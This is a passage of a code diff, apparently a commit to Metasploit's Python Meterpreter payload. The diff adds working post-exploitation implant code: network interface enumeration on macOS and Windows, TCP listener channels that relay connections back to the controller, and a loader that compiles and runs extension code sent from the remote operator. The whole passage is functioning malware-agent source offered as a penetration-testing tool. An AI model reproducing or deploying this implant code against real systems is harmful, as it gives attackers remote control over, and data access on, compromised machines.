continue
|
||||||
|
iface_addresses = iface_info.get('addrs', [])
|
||||||
|
for idx in range(len(value['Addresses'])):
|
||||||
|
if family == socket.AF_INET:
|
||||||
|
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx])))
|
||||||
|
else:
|
||||||
|
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx]))
|
||||||
|
iface_info['addrs'] = iface_addresses
|
||||||
|
interfaces[iface_name] = iface_info
|
||||||
|
for iface_ref in osxsc.SCNetworkInterfaceCopyAll():
|
||||||
|
iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref)
|
||||||
|
if not iface_name in interfaces:
|
||||||
|
iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref)
|
||||||
|
if not iface_type in ['Ethernet', 'IEEE80211']:
|
||||||
|
continue
|
||||||
|
interfaces[iface_name] = {'name': str(iface_name)}
|
||||||
|
iface_info = interfaces[iface_name]
|
||||||
|
mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1]
|
||||||
|
iface_info['mtu'] = mtu
|
||||||
|
hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref)
|
||||||
|
if hw_addr:
|
||||||
|
hw_addr = hw_addr.replace(':', '')
|
||||||
|
hw_addr = hw_addr.decode('hex')
|
||||||
|
iface_info['hw_addr'] = hw_addr
|
||||||
|
ifnames = interfaces.keys()
|
||||||
|
ifnames.sort()
|
||||||
|
for iface_name, iface_info in interfaces.items():
|
||||||
|
iface_info['index'] = ifnames.index(iface_name)
|
||||||
|
return interfaces.values()
|
||||||
|
|
||||||
|
def stdapi_net_config_get_interfaces_via_windll():
|
||||||
|
iphlpapi = ctypes.windll.iphlpapi
|
||||||
|
if not hasattr(iphlpapi, 'GetAdaptersAddresses'):
|
||||||
|
return stdapi_net_config_get_interfaces_via_windll_mib()
|
||||||
|
Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
|
||||||
|
AdapterAddresses = ctypes.c_void_p()
|
||||||
|
SizePointer = ctypes.c_ulong()
|
||||||
|
SizePointer.value = 0
|
||||||
|
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
|
||||||
|
AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
|
||||||
|
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
|
||||||
|
AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
|
||||||
|
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
|
||||||
|
if AdapterAddresses.u.s.Length <= 72:
|
||||||
|
return stdapi_net_config_get_interfaces_via_windll_mib()
|
||||||
|
win_version = windll_GetVersion()
|
||||||
|
interfaces = []
|
||||||
|
pAdapterAddresses = ctypes.byref(AdapterAddresses)
|
||||||
|
while pAdapterAddresses:
|
||||||
|
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
|
||||||
|
pAdapterAddresses = AdapterAddresses.Next
|
||||||
|
pFirstPrefix = AdapterAddresses.FirstPrefix
|
||||||
|
iface_info = {}
|
||||||
|
iface_info['index'] = AdapterAddresses.u.s.IfIndex
|
||||||
|
if AdapterAddresses.PhysicalAddressLength:
|
||||||
|
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
|
||||||
|
iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description))
|
||||||
|
iface_info['mtu'] = AdapterAddresses.Mtu
|
||||||
|
pUniAddr = AdapterAddresses.FirstUnicastAddress
|
||||||
|
while pUniAddr:
|
||||||
|
UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
|
||||||
|
pUniAddr = UniAddr.Next
|
||||||
|
address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
|
||||||
|
if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
|
||||||
|
continue
|
||||||
|
prefix = 0
|
||||||
|
if win_version.dwMajorVersion >= 6:
|
||||||
|
prefix = UniAddr.OnLinkPrefixLength
|
||||||
|
elif pFirstPrefix:
|
||||||
|
ip_adapter_prefix = 'QPPIL'
|
||||||
|
prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
|
||||||
|
prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
|
||||||
|
iface_addresses = iface_info.get('addrs', [])
|
||||||
|
if address.sa_family == socket.AF_INET:
|
||||||
|
iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
|
||||||
|
else:
|
||||||
|
iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
|
||||||
|
iface_info['addrs'] = iface_addresses
|
||||||
|
interfaces.append(iface_info)
|
||||||
|
return interfaces
|
||||||
|
|
||||||
|
def stdapi_net_config_get_interfaces_via_windll_mib():
|
||||||
|
iphlpapi = ctypes.windll.iphlpapi
|
||||||
|
table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
|
||||||
|
pdwSize = ctypes.c_ulong()
|
||||||
|
pdwSize.value = ctypes.sizeof(table)
|
||||||
|
if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
|
||||||
|
return None
|
||||||
|
interfaces = []
|
||||||
|
table_data = ctypes.string_at(table, pdwSize.value)
|
||||||
|
entries = struct.unpack('I', table_data[:4])[0]
|
||||||
|
table_data = table_data[4:]
|
||||||
|
for i in xrange(entries):
|
||||||
|
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
|
||||||
|
ifrow = MIB_IFROW()
|
||||||
|
ifrow.dwIndex = addrrow.dwIndex
|
||||||
|
if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
|
||||||
|
continue
|
||||||
|
iface_info = {}
|
||||||
|
table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
|
||||||
|
iface_info['index'] = addrrow.dwIndex
|
||||||
|
iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
|
||||||
|
if ifrow.dwPhysAddrLen:
|
||||||
|
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
|
||||||
|
if ifrow.dwDescrLen:
|
||||||
|
iface_info['name'] = ifrow.bDescr
|
||||||
|
iface_info['mtu'] = ifrow.dwMtu
|
||||||
|
interfaces.append(iface_info)
|
||||||
|
return interfaces
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_net_resolve_host(request, response):
|
def stdapi_net_resolve_host(request, response):
|
||||||
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
||||||
|
@ -782,9 +1228,10 @@ def stdapi_net_resolve_hosts(request, response):
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def stdapi_net_socket_tcp_shutdown(request, response):
|
def stdapi_net_socket_tcp_shutdown(request, response):
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
|
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
|
||||||
channel = meterpreter.channels[channel_id]
|
channel = meterpreter.channels[channel_id]
|
||||||
channel.close()
|
channel.shutdown(how)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function_windll
|
@meterpreter.register_function_windll
|
||||||
|
|
|
@ -19,9 +19,9 @@ import threading
|
||||||
#
|
#
|
||||||
# Constants
|
# Constants
|
||||||
#
|
#
|
||||||
PACKET_TYPE_REQUEST = 0
|
PACKET_TYPE_REQUEST = 0
|
||||||
PACKET_TYPE_RESPONSE = 1
|
PACKET_TYPE_RESPONSE = 1
|
||||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||||
PACKET_TYPE_PLAIN_RESPONSE = 11
|
PACKET_TYPE_PLAIN_RESPONSE = 11
|
||||||
|
|
||||||
ERROR_SUCCESS = 0
|
ERROR_SUCCESS = 0
|
||||||
|
@ -29,74 +29,103 @@ ERROR_SUCCESS = 0
|
||||||
ERROR_FAILURE = 1
|
ERROR_FAILURE = 1
|
||||||
|
|
||||||
CHANNEL_CLASS_BUFFERED = 0
|
CHANNEL_CLASS_BUFFERED = 0
|
||||||
CHANNEL_CLASS_STREAM = 1
|
CHANNEL_CLASS_STREAM = 1
|
||||||
CHANNEL_CLASS_DATAGRAM = 2
|
CHANNEL_CLASS_DATAGRAM = 2
|
||||||
CHANNEL_CLASS_POOL = 3
|
CHANNEL_CLASS_POOL = 3
|
||||||
|
|
||||||
#
|
#
|
||||||
# TLV Meta Types
|
# TLV Meta Types
|
||||||
#
|
#
|
||||||
TLV_META_TYPE_NONE = ( 0 )
|
TLV_META_TYPE_NONE = ( 0 )
|
||||||
TLV_META_TYPE_STRING = (1 << 16)
|
TLV_META_TYPE_STRING = (1 << 16)
|
||||||
TLV_META_TYPE_UINT = (1 << 17)
|
TLV_META_TYPE_UINT = (1 << 17)
|
||||||
TLV_META_TYPE_RAW = (1 << 18)
|
TLV_META_TYPE_RAW = (1 << 18)
|
||||||
TLV_META_TYPE_BOOL = (1 << 19)
|
TLV_META_TYPE_BOOL = (1 << 19)
|
||||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||||
TLV_META_TYPE_GROUP = (1 << 30)
|
TLV_META_TYPE_GROUP = (1 << 30)
|
||||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||||
# not defined in original
|
# not defined in original
|
||||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||||
|
|
||||||
#
|
#
|
||||||
# TLV base starting points
|
# TLV base starting points
|
||||||
#
|
#
|
||||||
TLV_RESERVED = 0
|
TLV_RESERVED = 0
|
||||||
TLV_EXTENSIONS = 20000
|
TLV_EXTENSIONS = 20000
|
||||||
TLV_USER = 40000
|
TLV_USER = 40000
|
||||||
TLV_TEMP = 60000
|
TLV_TEMP = 60000
|
||||||
|
|
||||||
#
|
#
|
||||||
# TLV Specific Types
|
# TLV Specific Types
|
||||||
#
|
#
|
||||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||||
|
|
||||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||||
|
|
||||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||||
|
|
||||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||||
|
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
||||||
|
|
||||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||||
|
|
||||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||||
|
|
||||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||||
|
|
||||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||||
|
|
||||||
|
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||||
|
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
||||||
|
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
||||||
|
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
||||||
|
|
||||||
|
EXPORTED_SYMBOLS = {}
|
||||||
|
|
||||||
|
def export(symbol):
|
||||||
|
EXPORTED_SYMBOLS[symbol.__name__] = symbol
|
||||||
|
return symbol
|
||||||
|
|
||||||
def generate_request_id():
|
def generate_request_id():
|
||||||
chars = 'abcdefghijklmnopqrstuvwxyz'
|
chars = 'abcdefghijklmnopqrstuvwxyz'
|
||||||
return ''.join(random.choice(chars) for x in xrange(32))
|
return ''.join(random.choice(chars) for x in xrange(32))
|
||||||
|
|
||||||
|
@export
|
||||||
|
def inet_pton(family, address):
|
||||||
|
if hasattr(socket, 'inet_pton'):
|
||||||
|
return socket.inet_pton(family, address)
|
||||||
|
elif has_windll:
|
||||||
|
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||||
|
lpAddress = (ctypes.c_ubyte * 28)()
|
||||||
|
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
||||||
|
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
||||||
|
raise Exception('WSAStringToAddress failed')
|
||||||
|
if family == socket.AF_INET:
|
||||||
|
return ''.join(map(chr, lpAddress[4:8]))
|
||||||
|
elif family == socket.AF_INET6:
|
||||||
|
return ''.join(map(chr, lpAddress[8:24]))
|
||||||
|
raise Exception('no suitable inet_pton functionality is available')
|
||||||
|
|
||||||
|
@export
|
||||||
def packet_get_tlv(pkt, tlv_type):
|
def packet_get_tlv(pkt, tlv_type):
|
||||||
offset = 0
|
offset = 0
|
||||||
while (offset < len(pkt)):
|
while (offset < len(pkt)):
|
||||||
|
@ -115,6 +144,7 @@ def packet_get_tlv(pkt, tlv_type):
|
||||||
offset += tlv[0]
|
offset += tlv[0]
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
@export
|
||||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||||
offset = 0
|
offset = 0
|
||||||
while (offset < len(pkt)):
|
while (offset < len(pkt)):
|
||||||
|
@ -133,6 +163,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
|
||||||
offset += tlv[0]
|
offset += tlv[0]
|
||||||
raise StopIteration()
|
raise StopIteration()
|
||||||
|
|
||||||
|
@export
|
||||||
def tlv_pack(*args):
|
def tlv_pack(*args):
|
||||||
if len(args) == 2:
|
if len(args) == 2:
|
||||||
tlv = {'type':args[0], 'value':args[1]}
|
tlv = {'type':args[0], 'value':args[1]}
|
||||||
|
@ -153,6 +184,25 @@ def tlv_pack(*args):
|
||||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterSocket(object):
|
||||||
|
def __init__(self, sock):
|
||||||
|
self.sock = sock
|
||||||
|
|
||||||
|
def __getattr__(self, name):
|
||||||
|
return getattr(self.sock, name)
|
||||||
|
export(MeterpreterSocket)
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterSocketClient(MeterpreterSocket):
|
||||||
|
pass
|
||||||
|
export(MeterpreterSocketClient)
|
||||||
|
|
||||||
|
#@export
|
||||||
|
class MeterpreterSocketServer(MeterpreterSocket):
|
||||||
|
pass
|
||||||
|
export(MeterpreterSocketServer)
|
||||||
|
|
||||||
class STDProcessBuffer(threading.Thread):
|
class STDProcessBuffer(threading.Thread):
|
||||||
def __init__(self, std, is_alive):
|
def __init__(self, std, is_alive):
|
||||||
threading.Thread.__init__(self)
|
threading.Thread.__init__(self)
|
||||||
|
@ -182,6 +232,7 @@ class STDProcessBuffer(threading.Thread):
|
||||||
self.data_lock.release()
|
self.data_lock.release()
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
#@export
|
||||||
class STDProcess(subprocess.Popen):
|
class STDProcess(subprocess.Popen):
|
||||||
def __init__(self, *args, **kwargs):
|
def __init__(self, *args, **kwargs):
|
||||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||||
|
@ -191,6 +242,7 @@ class STDProcess(subprocess.Popen):
|
||||||
self.stdout_reader.start()
|
self.stdout_reader.start()
|
||||||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
||||||
self.stderr_reader.start()
|
self.stderr_reader.start()
|
||||||
|
export(STDProcess)
|
||||||
|
|
||||||
class PythonMeterpreter(object):
|
class PythonMeterpreter(object):
|
||||||
def __init__(self, socket):
|
def __init__(self, socket):
|
||||||
|
@ -205,10 +257,12 @@ class PythonMeterpreter(object):
|
||||||
|
|
||||||
def register_function(self, func):
|
def register_function(self, func):
|
||||||
self.extension_functions[func.__name__] = func
|
self.extension_functions[func.__name__] = func
|
||||||
|
return func
|
||||||
|
|
||||||
def register_function_windll(self, func):
|
def register_function_windll(self, func):
|
||||||
if has_windll:
|
if has_windll:
|
||||||
self.register_function(func)
|
self.register_function(func)
|
||||||
|
return func
|
||||||
|
|
||||||
def add_channel(self, channel):
|
def add_channel(self, channel):
|
||||||
idx = 0
|
idx = 0
|
||||||
|
@ -239,7 +293,8 @@ class PythonMeterpreter(object):
|
||||||
self.socket.send(response)
|
self.socket.send(response)
|
||||||
else:
|
else:
|
||||||
channels_for_removal = []
|
channels_for_removal = []
|
||||||
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
|
# iterate over the keys because self.channels could be modified if one is closed
|
||||||
|
channel_ids = self.channels.keys()
|
||||||
for channel_id in channel_ids:
|
for channel_id in channel_ids:
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
data = ''
|
data = ''
|
||||||
|
@ -252,7 +307,7 @@ class PythonMeterpreter(object):
|
||||||
data = channel.stderr_reader.read()
|
data = channel.stderr_reader.read()
|
||||||
elif channel.poll() != None:
|
elif channel.poll() != None:
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
elif isinstance(channel, socket._socketobject):
|
elif isinstance(channel, MeterpreterSocketClient):
|
||||||
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||||
try:
|
try:
|
||||||
d = channel.recv(1)
|
d = channel.recv(1)
|
||||||
|
@ -262,6 +317,21 @@ class PythonMeterpreter(object):
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
break
|
break
|
||||||
data += d
|
data += d
|
||||||
|
elif isinstance(channel, MeterpreterSocketServer):
|
||||||
|
if len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||||
|
(client_sock, client_addr) = channel.accept()
|
||||||
|
server_addr = channel.getsockname()
|
||||||
|
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
|
||||||
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
|
||||||
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
|
||||||
|
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
|
||||||
|
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||||
|
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||||
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
|
self.socket.send(pkt)
|
||||||
if data:
|
if data:
|
||||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||||
|
@ -288,7 +358,9 @@ class PythonMeterpreter(object):
|
||||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||||
return ERROR_FAILURE
|
return ERROR_FAILURE
|
||||||
preloadlib_methods = self.extension_functions.keys()
|
preloadlib_methods = self.extension_functions.keys()
|
||||||
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
symbols_for_extensions = {'meterpreter':self}
|
||||||
|
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||||
|
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||||
postloadlib_methods = self.extension_functions.keys()
|
postloadlib_methods = self.extension_functions.keys()
|
||||||
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
||||||
|
@ -303,7 +375,7 @@ class PythonMeterpreter(object):
|
||||||
|
|
||||||
def _core_channel_open(self, request, response):
|
def _core_channel_open(self, request, response):
|
||||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||||
handler = 'channel_create_' + channel_type['value']
|
handler = 'channel_open_' + channel_type['value']
|
||||||
if handler not in self.extension_functions:
|
if handler not in self.extension_functions:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
handler = self.extension_functions[handler]
|
handler = self.extension_functions[handler]
|
||||||
|
@ -318,7 +390,7 @@ class PythonMeterpreter(object):
|
||||||
channel.close()
|
channel.close()
|
||||||
elif isinstance(channel, subprocess.Popen):
|
elif isinstance(channel, subprocess.Popen):
|
||||||
channel.kill()
|
channel.kill()
|
||||||
elif isinstance(s, socket._socketobject):
|
elif isinstance(channel, MeterpreterSocket):
|
||||||
channel.close()
|
channel.close()
|
||||||
else:
|
else:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
|
@ -334,7 +406,7 @@ class PythonMeterpreter(object):
|
||||||
channel = self.channels[channel_id]
|
channel = self.channels[channel_id]
|
||||||
result = False
|
result = False
|
||||||
if isinstance(channel, file):
|
if isinstance(channel, file):
|
||||||
result = channel.tell() == os.fstat(channel.fileno()).st_size
|
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
||||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
response += tlv_pack(TLV_TYPE_BOOL, result)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@ -367,7 +439,7 @@ class PythonMeterpreter(object):
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
if channel.stdout_reader.is_read_ready():
|
if channel.stdout_reader.is_read_ready():
|
||||||
data = channel.stdout_reader.read(length)
|
data = channel.stdout_reader.read(length)
|
||||||
elif isinstance(s, socket._socketobject):
|
elif isinstance(channel, MeterpreterSocket):
|
||||||
data = channel.recv(length)
|
data = channel.recv(length)
|
||||||
else:
|
else:
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
|
@ -389,7 +461,7 @@ class PythonMeterpreter(object):
|
||||||
self.handle_dead_resource_channel(channel_id)
|
self.handle_dead_resource_channel(channel_id)
|
||||||
return ERROR_FAILURE, response
|
return ERROR_FAILURE, response
|
||||||
channel.stdin.write(channel_data)
|
channel.stdin.write(channel_data)
|
||||||
elif isinstance(s, socket._socketobject):
|
elif isinstance(channel, MeterpreterSocket):
|
||||||
try:
|
try:
|
||||||
l = channel.send(channel_data)
|
l = channel.send(channel_data)
|
||||||
except socket.error:
|
except socket.error:
|
||||||
|
|
Loading…
Reference in New Issue